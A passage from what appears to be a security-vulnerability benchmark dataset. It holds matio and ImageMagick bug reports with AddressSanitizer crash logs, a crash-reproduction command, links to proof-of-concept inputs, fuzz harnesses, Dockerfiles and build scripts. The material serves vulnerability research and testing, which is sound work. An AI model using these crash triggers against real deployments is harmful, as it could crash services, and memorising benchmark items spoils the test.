#1 0x7fb268f1f1e2 in Mat_VarReadNextInfo5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbf1e2)
#2 0x7fb268f340af (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xd40af)
SUMMARY: AddressSanitizer: 1 byte(s) leaked in 1 allocation(s).
````
---
Comment by tbeu on 2019-03-20 10:28:22+00:00:
Thanks for confirmation. The memory leak actually is a separate issue discoverd en passant and resolved by b73f135ebb5339eec376b1f25e63ab50d0d43b55.
---
Comment by svillemot on 2019-03-22 12:37:44+00:00:
I backported those security fixes to MatIO 1.5.13 for Debian (I had to limit myself to minimal changes, since Debian is currently in freeze).
There are test failures on several architectures, all of which are big-endian, in tests 621, 2825 and 2827. Any idea of what's going on?
---
Comment by svillemot on 2019-03-22 12:38:14+00:00:
The logfiles are accessible at: https://buildd.debian.org/status/package.php?p=libmatio
---
Comment by svillemot on 2019-03-22 12:39:54+00:00:
And here are the patches that I applied: https://salsa.debian.org/science-team/libmatio/tree/master/debian/patches
Note that avoid-int-mult-overflow.patch is a trimmed-down version of your commit.
---
Comment by svillemot on 2019-03-22 14:08:36+00:00:
Ok, got it, it's a manifestation of #108.
---
Comment by svillemot on 2019-03-22 14:30:15+00:00:
Applying adfa218770183cf93f74e7fad5055921ae1f9958 fixes the testsuite regression, but unfortunately it reintroduces CVE-2019-9027 and CVE-2019-9038.
On the current git HEAD, I now get the following:
```
$ tools/matdump ~/pocs/matio/inflate___heap-buffer-overflow-02
=================================================================
==17501==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000a739 at pc 0x7fb9549d7f7f bp 0x7ffcfb664400 sp 0x7ffcfb663bb0
READ of size 64 at 0x60200000a739 thread T0
#0 0x7fb9549d7f7e (/usr/lib/x86_64-linux-gnu/libasan.so.3+0x5cf7e)
#1 0x7fb953f14238 in inflate (/lib/x86_64-linux-gnu/libz.so.1+0xa238)
#2 0x7fb954699abb in InflateData (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xdabb)
#3 0x7fb9546c3184 in ReadCompressedCharData (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0x37184)
#4 0x7fb9547436fd in Mat_VarRead5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xb76fd)
#5 0x7fb95474804f in ReadNextCell (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbc04f)
#6 0x7fb95474e53a in Mat_VarReadNextInfo5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xc253a)
#7 0x55625cfea9c9 in main (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x59c9)
#8 0x7fb9538872e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0)
#9 0x55625cfeb259 in _start (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x6259)
0x60200000a739 is located 0 bytes to the right of 9-byte region [0x60200000a730,0x60200000a739)
allocated by thread T0 here:
#0 0x7fb954a3ced0 in calloc (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xc1ed0)
#1 0x7fb954740187 in Mat_VarRead5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xb4187)
#2 0x7fb95476ea4f (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xe2a4f)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.3+0x5cf7e)
Shadow bytes around the buggy address:
0x0c047fff9490: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff94a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff94b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff94c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff94d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c047fff94e0: fa fa fa fa fa fa 00[01]fa fa 00 00 fa fa 00 01
0x0c047fff94f0: fa fa 00 00 fa fa 00 fa fa fa 00 fa fa fa 00 00
0x0c047fff9500: fa fa 00 fa fa fa 00 00 fa fa 00 fa fa fa 00 fa
0x0c047fff9510: fa fa 01 fa fa fa 00 00 fa fa 00 fa fa fa 00 fa
0x0c047fff9520: fa fa 00 00 fa fa 00 fa fa fa 00 fa fa fa 00 00
0x0c047fff9530: fa fa 00 fa fa fa 00 fa fa fa 00 00 fa fa 00 fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==17501==ABORTING
```
```
$ tools/matdump ~/pocs/matio/[email protected]_1342-33__out-of-bound-read
InflateData: inflate returned data error
InflateSkip: inflate returned data error
ASAN:DEADLYSIGNAL
=================================================================
==14816==ERROR: AddressSanitizer: SEGV on unknown address 0x000d0d8dcdf7 (pc 0x7f1ba88b5077 bp 0x606000003140 sp 0x7ffdb11b5a70 T0)
#0 0x7f1ba88b5076 in ReadNextCell (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbc076)
#1 0x7f1ba88bb53a in Mat_VarReadNextInfo5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xc253a)
#2 0x5581aaa359c9 in main (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x59c9)
#3 0x7f1ba79f42e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0)
#4 0x5581aaa36259 in _start (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x6259)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbc076) in ReadNextCell
==14816==ABORTING
```
So this issue should be reopened…
---
Comment by tbeu on 2019-03-22 20:56:05+00:00:
One more iteration loop please: 02625a0e394eeb8bf3ea61641f73de907296a2c4 adds another sanity check.
---
Comment by svillemot on 2019-03-23 09:09:38+00:00:
It is good now, thanks!
Commit References:
02625a0e394eeb8bf3ea61641f73de907296a2c4
077cbf9ecf495c15edc8546c1acb0cbabf8b6e51
2c20d2178017b3eb13ab160cef239648f9915bdb
b73f135ebb5339eec376b1f25e63ab50d0d43b55
539ca4df145748558d79ac978d05857437ba3332
adfa218770183cf93f74e7fad5055921ae1f9958
a0539135c9b1ab7613aa7953279da9224da88775
|
[
{
"content": "// Copyright 2019 Google Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Adapter utility from fuzzer input to a temporary file, for fuzzing APIs that\n// require a file instead of an input buffer.\n\n#ifndef FUZZER_TEMP_FILE_H_\n#define FUZZER_TEMP_FILE_H_\n\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n\n// Pure-C interface for creating and cleaning up temporary files.\n\nstatic char* fuzzer_get_tmpfile(const uint8_t* data, size_t size) {\n char* filename_buffer = strdup(\"/tmp/generate_temporary_file.XXXXXX\");\n if (!filename_buffer) {\n perror(\"Failed to allocate file name buffer.\");\n abort();\n }\n const int file_descriptor = mkstemp(filename_buffer);\n if (file_descriptor < 0) {\n perror(\"Failed to make temporary file.\");\n abort();\n }\n FILE* file = fdopen(file_descriptor, \"wb\");\n if (!file) {\n perror(\"Failed to open file descriptor.\");\n close(file_descriptor);\n abort();\n }\n const size_t bytes_written = fwrite(data, sizeof(uint8_t), size, file);\n if (bytes_written < size) {\n close(file_descriptor);\n fprintf(stderr, \"Failed to write all bytes to file (%zu out of %zu)\",\n bytes_written, size);\n abort();\n }\n fclose(file);\n return filename_buffer;\n}\n\nstatic void fuzzer_release_tmpfile(char* filename) {\n if (unlink(filename) != 0) {\n perror(\"WARNING: Failed to delete temporary file.\");\n }\n free(filename);\n}\n\n// C++ RAII object for creating temporary files.\n\n#ifdef __cplusplus\nclass FuzzerTemporaryFile {\n public:\n FuzzerTemporaryFile(const uint8_t* data, size_t size)\n : filename_(fuzzer_get_tmpfile(data, size)) {}\n\n ~FuzzerTemporaryFile() { fuzzer_release_tmpfile(filename_); }\n\n const char* filename() const { return filename_; }\n\n private:\n char* filename_;\n};\n#endif\n\n#endif // FUZZER_TEMP_FILE_H_\n",
"filename": "fuzzer_temp_file.h"
},
{
"content": "// Copyright 2019 Google Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Adapter utility from fuzzer input to a temporary file, for fuzzing APIs that\n// require a file instead of an input buffer.\n\n#include <cstddef>\n#include <cstdint>\n#include <cstdlib>\n#include <string>\n#include <vector>\n\n#include \"fuzzer_temp_file.h\"\n#include \"matio.h\"\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {\n FuzzerTemporaryFile temp_file(data, size);\n\n mat_t* matfd = Mat_Open(temp_file.filename(), MAT_ACC_RDONLY);\n if (matfd == nullptr) {\n return 0;\n }\n // TODO(https://github.com/google/oss-fuzz/pull/2761): use more complicated APIs\n // such as Mat_VarReadDataAll, Mat_VarReadDataLinear, Mat_VarReadNext, etc. \n Mat_Close(matfd);\n\n return 0;\n}\n",
"filename": "matio_fuzzer.cc"
}
] |
[
{
"sha": "5552ebde32d48e9290de871dce2f773a76cdaca7",
"url": "https://github.com/tbeu/matio/commit/5552ebde32d48e9290de871dce2f773a76cdaca7"
},
{
"sha": "0966538de4e96f8a22e2f10562b765280fa61ece",
"url": "https://github.com/tbeu/matio/commit/0966538de4e96f8a22e2f10562b765280fa61ece"
},
{
"sha": "a0539135c9b1ab7613aa7953279da9224da88775",
"url": "https://github.com/tbeu/matio/commit/a0539135c9b1ab7613aa7953279da9224da88775"
},
{
"sha": "2c20d2178017b3eb13ab160cef239648f9915bdb",
"url": "https://github.com/tbeu/matio/commit/2c20d2178017b3eb13ab160cef239648f9915bdb"
},
{
"sha": "df23944bc8f16dc7270fa39c772e14958aadc283",
"url": "https://github.com/tbeu/matio/commit/df23944bc8f16dc7270fa39c772e14958aadc283"
},
{
"sha": "ce33bf0ef196794790ed20c6d4c8232f7eb45590",
"url": "https://github.com/tbeu/matio/commit/ce33bf0ef196794790ed20c6d4c8232f7eb45590"
},
{
"sha": "02625a0e394eeb8bf3ea61641f73de907296a2c4",
"url": "https://github.com/tbeu/matio/commit/02625a0e394eeb8bf3ea61641f73de907296a2c4"
}
] |
matio.cve-2019-20052
|
tbeu/matio
|
64f793668e09216029447990702c145403d14375
| 2019-07-18T13:14:38
|
matio
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool
RUN git clone https://github.com/tbeu/matio matio
RUN git -C matio checkout 64f793668e09216029447990702c145403d14375
WORKDIR $SRC/matio
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./autogen.sh
./configure
make -j$(nproc)
make install -j$(nproc)
|
/src/matio
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/tbeu/matio/issues/131
## Description:
Issue: tbeu/matio#131
Title: it is a memory leaks issue in Mat_VarCalloc (mat.c:807)
State: closed
Created by: gutiniao
Created at: 2019-11-12 05:36:29+00:00
Issue Body:
A crafted input will lead to crash in mat.c at matio 1.5.17.
Triggered by
./matdump POC
Poc
[006-memleak](https://github.com/gutiniao/afltest/blob/master/006-memleak)
The ASAN information is as follows:
```
./matdump /usr/local/matio_asan/bin/006-memleak
InflateRankDims: inflate returned data error
InflateVarTag: inflate returned data error
Empty
InflateRankDims: Reading dimensions expected type MAT_T_INT32
InflateRankDims: Reading dimensions expected type MAT_T_INT32
Name:
Rank: 0
InflateRankDims: inflate returned data error
131074 is not a valid rank
Rank: 0
421105169 is not valid (MAT_T_MATRIX or MAT_T_COMPRESSED)
=================================================================
==23803==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 80 byte(s) in 1 object(s) allocated from:
#0 0x7fbf2001f602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x7fbf1fd691df in Mat_VarCalloc /home/matio/matio_src/matio/src/mat.c:807
#2 0x7fbf1fc9d7bb in ReadNextCell /home/matio/matio_src/matio/src/mat5.c:925
#3 0x7fbf1fd5d494 in Mat_VarReadNextInfo5 /home/matio/matio_src/matio/src/mat5.c:4998
#4 0x7fbf1fd73a87 in Mat_VarReadNextInfo /home/matio/matio_src/matio/src/mat.c:2342
#5 0x408136 in main /home/matio/matio_src/matio/tools/matdump.c:944
#6 0x7fbf1f54e82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
Indirect leak of 32768 byte(s) in 1 object(s) allocated from:
#0 0x7fbf2001f602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x7fbf1ece87d1 in inflateCopy (/usr/local/lib/libz.so.1+0xd7d1)
Indirect leak of 7160 byte(s) in 1 object(s) allocated from:
#0 0x7fbf2001f602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x7fbf1ece87a1 in inflateCopy (/usr/local/lib/libz.so.1+0xd7a1)
Indirect leak of 112 byte(s) in 1 object(s) allocated from:
#0 0x7fbf2001f79a in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x9879a)
#1 0x7fbf1fc9efd1 in ReadNextCell /home/matio/matio_src/matio/src/mat5.c:1065
#2 0x7fbf1fd5d494 in Mat_VarReadNextInfo5 /home/matio/matio_src/matio/src/mat5.c:4998
#3 0x7fbf1fd73a87 in Mat_VarReadNextInfo /home/matio/matio_src/matio/src/mat.c:2342
#4 0x408136 in main /home/matio/matio_src/matio/tools/matdump.c:944
#5 0x7fbf1f54e82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
Indirect leak of 40 byte(s) in 1 object(s) allocated from:
#0 0x7fbf2001f602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x7fbf1fd69505 in Mat_VarCalloc /home/matio/matio_src/matio/src/mat.c:823
#2 0x7fbf1fc9d7bb in ReadNextCell /home/matio/matio_src/matio/src/mat5.c:925
#3 0x7fbf1fd5d494 in Mat_VarReadNextInfo5 /home/matio/matio_src/matio/src/mat5.c:4998
#4 0x7fbf1fd73a87 in Mat_VarReadNextInfo /home/matio/matio_src/matio/src/mat.c:2342
#5 0x408136 in main /home/matio/matio_src/matio/tools/matdump.c:944
#6 0x7fbf1f54e82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
Indirect leak of 9 byte(s) in 1 object(s) allocated from:
#0 0x7fbf2001f602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x7fbf1fc9eb59 in ReadNextCell /home/matio/matio_src/matio/src/mat5.c:1046
#2 0x7fbf1fd5d494 in Mat_VarReadNextInfo5 /home/matio/matio_src/matio/src/mat5.c:4998
#3 0x7fbf1fd73a87 in Mat_VarReadNextInfo /home/matio/matio_src/matio/src/mat.c:2342
#4 0x408136 in main /home/matio/matio_src/matio/tools/matdump.c:944
#5 0x7fbf1f54e82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
SUMMARY: AddressSanitizer: 40169 byte(s) leaked in 6 allocation(s).
```
Comments:
Comment by tbeu on 2019-11-23 21:17:22+00:00:
Can you confirm that a47b7cd3aca70e9a0bddf8146eb4ab0cbd19c2c3 fixes the issue? Thanks.
---
Comment by tbeu on 2019-12-27 13:53:13+00:00:
Closing after no more feedback from issue author.
---
Comment by carnil on 2019-12-28 08:19:57+00:00:
CVE-2019-20052 was assigned for this issue though.
---
Comment by tbeu on 2019-12-28 08:21:54+00:00:
Why? This issue never was apparent in a released version.
---
Comment by carnil on 2019-12-28 20:18:20+00:00:
@tbeu I do not know actually (Note, I'm only the messenger here. I'm part of the Debian security team, and while reviewing new CVE assignments, I cross-checking the upstream issue associated and where needed mention the respective CVE id which got assigned).
In this case I do not know if the CVE is valid or not, but if you think it is not, might you ask as upstream via the https://cveform.mitre.org to reject the CVE? There is no information who requested the CVE, so I unfortunately cannot redirect you to the right person here.
---
Comment by lewyssmith on 2021-06-22 07:34:05+00:00:
According to our (Mageia) testing, the patch did NOT fix the issue:
https://bugs.mageia.org/show_bug.cgi?id=27969#c4
This bug should either be be re-opened, or a new one raised:
https://bugs.mageia.org/show_bug.cgi?id=29164
---
Comment by limburgher on 2021-06-23 16:19:54+00:00:
Is there a corrected patch that isn't reflected in 1.5.18+?
---
Comment by tbeu on 2021-06-24 13:33:00+00:00:
Hm, I am lost here. I asked for confirmation if a47b7cd3aca70e9a0bddf8146eb4ab0cbd19c2c3 fixes the issue 19 months ago. How does it come that you report now that the issue is not fixed? Why does it take such a long response?
For now, I would prefer if you can file a new pull request (targeting master) to fix whatever needs to be fixed.
---
Comment by lewyssmith on 2021-06-25 12:30:04+00:00:
> "I asked for confirmation if a47b7cd fixes the issue 19 months ago. How does it come that you report
now that the issue is not fixed? Why does it take such a long response?"
Our (Mageia) security updates/testing is driven by issued CVE Advisories. I see that this one goes back to at least Dec 2019; it was notified to Mageia Dec 2020, 'fixed' and tested at the turn of the year; then fell into limbo: https://bugs.mageia.org/show_bug.cgi?id=27969#c5
> "I would prefer if you can file a new pull request (targeting master) to fix whatever needs to be fixed."
I have raised a new 'bug' as you wish (https://github.com/tbeu/matio/issues/175), but your terminology means nothing to me. It can do little more than reiterate the end of this one.
Commit References:
a47b7cd3aca70e9a0bddf8146eb4ab0cbd19c2c3
|
[
{
"content": "// Copyright 2019 Google Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Adapter utility from fuzzer input to a temporary file, for fuzzing APIs that\n// require a file instead of an input buffer.\n\n#ifndef FUZZER_TEMP_FILE_H_\n#define FUZZER_TEMP_FILE_H_\n\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n\n// Pure-C interface for creating and cleaning up temporary files.\n\nstatic char* fuzzer_get_tmpfile(const uint8_t* data, size_t size) {\n char* filename_buffer = strdup(\"/tmp/generate_temporary_file.XXXXXX\");\n if (!filename_buffer) {\n perror(\"Failed to allocate file name buffer.\");\n abort();\n }\n const int file_descriptor = mkstemp(filename_buffer);\n if (file_descriptor < 0) {\n perror(\"Failed to make temporary file.\");\n abort();\n }\n FILE* file = fdopen(file_descriptor, \"wb\");\n if (!file) {\n perror(\"Failed to open file descriptor.\");\n close(file_descriptor);\n abort();\n }\n const size_t bytes_written = fwrite(data, sizeof(uint8_t), size, file);\n if (bytes_written < size) {\n close(file_descriptor);\n fprintf(stderr, \"Failed to write all bytes to file (%zu out of %zu)\",\n bytes_written, size);\n abort();\n }\n fclose(file);\n return filename_buffer;\n}\n\nstatic void fuzzer_release_tmpfile(char* filename) {\n if (unlink(filename) != 0) {\n perror(\"WARNING: Failed to delete temporary file.\");\n }\n free(filename);\n}\n\n// C++ RAII object for creating temporary files.\n\n#ifdef __cplusplus\nclass FuzzerTemporaryFile {\n public:\n FuzzerTemporaryFile(const uint8_t* data, size_t size)\n : filename_(fuzzer_get_tmpfile(data, size)) {}\n\n ~FuzzerTemporaryFile() { fuzzer_release_tmpfile(filename_); }\n\n const char* filename() const { return filename_; }\n\n private:\n char* filename_;\n};\n#endif\n\n#endif // FUZZER_TEMP_FILE_H_\n",
"filename": "fuzzer_temp_file.h"
},
{
"content": "// Copyright 2019 Google Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Adapter utility from fuzzer input to a temporary file, for fuzzing APIs that\n// require a file instead of an input buffer.\n\n#include <cstddef>\n#include <cstdint>\n#include <cstdlib>\n#include <string>\n#include <vector>\n\n#include \"fuzzer_temp_file.h\"\n#include \"matio.h\"\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {\n FuzzerTemporaryFile temp_file(data, size);\n\n mat_t* matfd = Mat_Open(temp_file.filename(), MAT_ACC_RDONLY);\n if (matfd == nullptr) {\n return 0;\n }\n // TODO(https://github.com/google/oss-fuzz/pull/2761): use more complicated APIs\n // such as Mat_VarReadDataAll, Mat_VarReadDataLinear, Mat_VarReadNext, etc. \n Mat_Close(matfd);\n\n return 0;\n}\n",
"filename": "matio_fuzzer.cc"
}
] |
[
{
"sha": "a47b7cd3aca70e9a0bddf8146eb4ab0cbd19c2c3",
"url": "https://github.com/tbeu/matio/commit/a47b7cd3aca70e9a0bddf8146eb4ab0cbd19c2c3"
},
{
"sha": "12b211cda2ef5abec89304bd1ba3a79a82229feb",
"url": "https://github.com/tbeu/matio/commit/12b211cda2ef5abec89304bd1ba3a79a82229feb"
},
{
"sha": "7b4699854cc65874e13a8e6944cd8e62fa981068",
"url": "https://github.com/tbeu/matio/commit/7b4699854cc65874e13a8e6944cd8e62fa981068"
},
{
"sha": "65831b7ec829b0ae0ac9d691a2f8fbc2b26af677",
"url": "https://github.com/tbeu/matio/commit/65831b7ec829b0ae0ac9d691a2f8fbc2b26af677"
}
] |
imagemagick.cve-2019-13298
|
imagemagick/imagemagick
|
7689875ef64f34141e7292f6945efdf0530b4a5e
| 2019-06-21T19:32:57
|
imagemagick
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool pkg-config cmake nasm autopoint
RUN git clone https://github.com/imagemagick/imagemagick imagemagick
RUN git -C imagemagick checkout 7689875ef64f34141e7292f6945efdf0530b4a5e
WORKDIR $SRC/imagemagick
COPY build.sh $SRC/
|
#!/bin/bash
# Default build script template for C/C++ projects
set -eu
# Define configuration options
CONFIG_OPTS="--disable-shared"
CMAKE_OPTS="-DCMAKE_BUILD_TYPE=Debug"
MAKE_OPTS="-j$(nproc)"
BUILD_DIR="build"
# 1. Run build preparation scripts if they exist
for prep_script in buildconf autogen.sh bootstrap; do
if [ -x "$prep_script" ]; then
echo "Running $prep_script..."
./$prep_script
break
elif [ -f "$prep_script" ]; then
echo "Found $prep_script but it's not executable, setting permissions..."
chmod +x $prep_script
./$prep_script
break
fi
done
# 2. Handle different build systems
if [ -f "configure" ]; then
echo "Found configure script, running with options: $CONFIG_OPTS"
./configure $CONFIG_OPTS
echo "Building with make $MAKE_OPTS"
make $MAKE_OPTS
elif [ -f "CMakeLists.txt" ]; then
echo "Found CMakeLists.txt, using CMake build system"
mkdir -p $BUILD_DIR
cd $BUILD_DIR
cmake $CMAKE_OPTS ..
make $MAKE_OPTS
elif [ -f "Makefile" ] || [ -f "makefile" ]; then
echo "Found Makefile, building with make $MAKE_OPTS"
make $MAKE_OPTS
elif [ -f "meson.build" ]; then
echo "Found meson.build, using Meson build system"
mkdir -p $BUILD_DIR
meson setup $BUILD_DIR .
cd $BUILD_DIR
ninja
elif [ -f "GNUmakefile" ]; then
echo "Found GNUmakefile, building with make $MAKE_OPTS"
make $MAKE_OPTS
elif [ -d ".git" ] && [ -f "Makefile.am" ]; then
echo "Found Makefile.am, running autoreconf"
autoreconf -i
./configure $CONFIG_OPTS
make $MAKE_OPTS
else
echo "WARNING: No recognized build system found!"
echo "Trying generic approach:"
# Try to detect common source patterns and compile them
if ls *.c >/dev/null 2>&1 || ls *.cpp >/dev/null 2>&1 || ls *.cc >/dev/null 2>&1; then
echo "Found C/C++ source files, attempting direct compilation"
if ls *.cpp >/dev/null 2>&1 || ls *.cc >/dev/null 2>&1; then
CXX=${CXX:-g++}
echo "Compiling C++ sources with $CXX"
$CXX -g -O1 -fsanitize=address -fno-omit-frame-pointer -o main *.cpp *.cc 2>/dev/null || true
elif ls *.c >/dev/null 2>&1; then
CC=${CC:-gcc}
echo "Compiling C sources with $CC"
$CC -g -O1 -fsanitize=address -fno-omit-frame-pointer -o main *.c 2>/dev/null || true
fi
fi
fi
|
/src/imagemagick
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/ImageMagick/ImageMagick/issues/1611
## Description:
Issue: ImageMagick/ImageMagick#1611
Title: heap-buffer-overflow at MagickCore/pixel-accessor.h:804:56 in SetPixelViaPixelInfo
State: closed
Created by: SuhwanSong
Created at: 2019-06-21 06:07:48+00:00
Labels: bug
Issue Body:
### Prerequisites
- [x] I have written a descriptive issue title
- [x] I have verified that I am using the latest version of ImageMagick
- [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported
### Description
<!-- A description of the bug or feature -->
There's a heap-buffer-overflow at MagickCore/pixel-accessor.h:804:56 in SetPixelViaPixelInfo.
### Steps to Reproduce
<!-- List of steps, sample code, failing test or link to a project that reproduces the behavior.
Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues -->
run_cmd:
`magick -seed 0 "(" magick:netscape -random-threshold 66x4 -resize 72%+20-45 ")" "(" magick:netscape -shear 40 -enhance ")" tmp`
Here's ASAN log.
```
=================================================================
==6928==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7faaff40fa80 at pc 0x7fab0dddcb45 bp 0x7fff3e3ee2b0 sp 0x7fff3e3ee2a8
WRITE of size 4 at 0x7faaff40fa80 thread T0
#0 0x7fab0dddcb44 in SetPixelViaPixelInfo ./MagickCore/pixel-accessor.h:804:56
#1 0x7fab0ddf1234 in EnhanceImage MagickCore/enhance.c:1976:7
#2 0x7fab0d63a171 in CLISimpleOperatorImage MagickWand/operation.c:2284:21
#3 0x7fab0d632c78 in CLISimpleOperatorImages MagickWand/operation.c:3685:12
#4 0x7fab0d658315 in CLIOption MagickWand/operation.c:5273:16
#5 0x7fab0d499a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#6 0x7fab0d49ad0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#7 0x7fab0d4e4ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#8 0x526f95 in MagickMain utilities/magick.c:149:10
#9 0x5268e1 in main utilities/magick.c:180:10
#10 0x7fab07f5bb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#11 0x41b069 in _start (install/bin/magick+0x41b069)
0x7faaff40fa80 is located 0 bytes to the right of 905856-byte region [0x7faaff332800,0x7faaff40fa80)
allocated by thread T0 here:
#0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200)
#1 0x7fab0ded3ed6 in AcquireAlignedMemory MagickCore/memory.c:265:7
#2 0x7fab0dc1c61c in OpenPixelCache MagickCore/cache.c:3728:46
#3 0x7fab0dc22901 in GetImagePixelCache MagickCore/cache.c:1754:18
#4 0x7fab0dc28bc9 in SyncImagePixelCache MagickCore/cache.c:5488:28
#5 0x7fab0de87831 in SetImageStorageClass MagickCore/image.c:2627:10
#6 0x7fab0dde375f in EnhanceImage MagickCore/enhance.c:1891:7
#7 0x7fab0d63a171 in CLISimpleOperatorImage MagickWand/operation.c:2284:21
#8 0x7fab0d632c78 in CLISimpleOperatorImages MagickWand/operation.c:3685:12
#9 0x7fab0d658315 in CLIOption MagickWand/operation.c:5273:16
#10 0x7fab0d499a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#11 0x7fab0d49ad0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#12 0x7fab0d4e4ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#13 0x526f95 in MagickMain utilities/magick.c:149:10
#14 0x5268e1 in main utilities/magick.c:180:10
#15 0x7fab07f5bb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
SUMMARY: AddressSanitizer: heap-buffer-overflow ./MagickCore/pixel-accessor.h:804:56 in SetPixelViaPixelInfo
```
### System Configuration
<!-- Tell us about the environment where you are experiencing the bug -->
- ImageMagick version:
Version: ImageMagick 7.0.8-50 Q16 x86_64 2019-06-21 https://imagemagick.org
- Environment (Operating system, version and so on):
Description: Ubuntu 18.04.1 LTS
Release: 18.04
Codename: bionic
- Additional information:
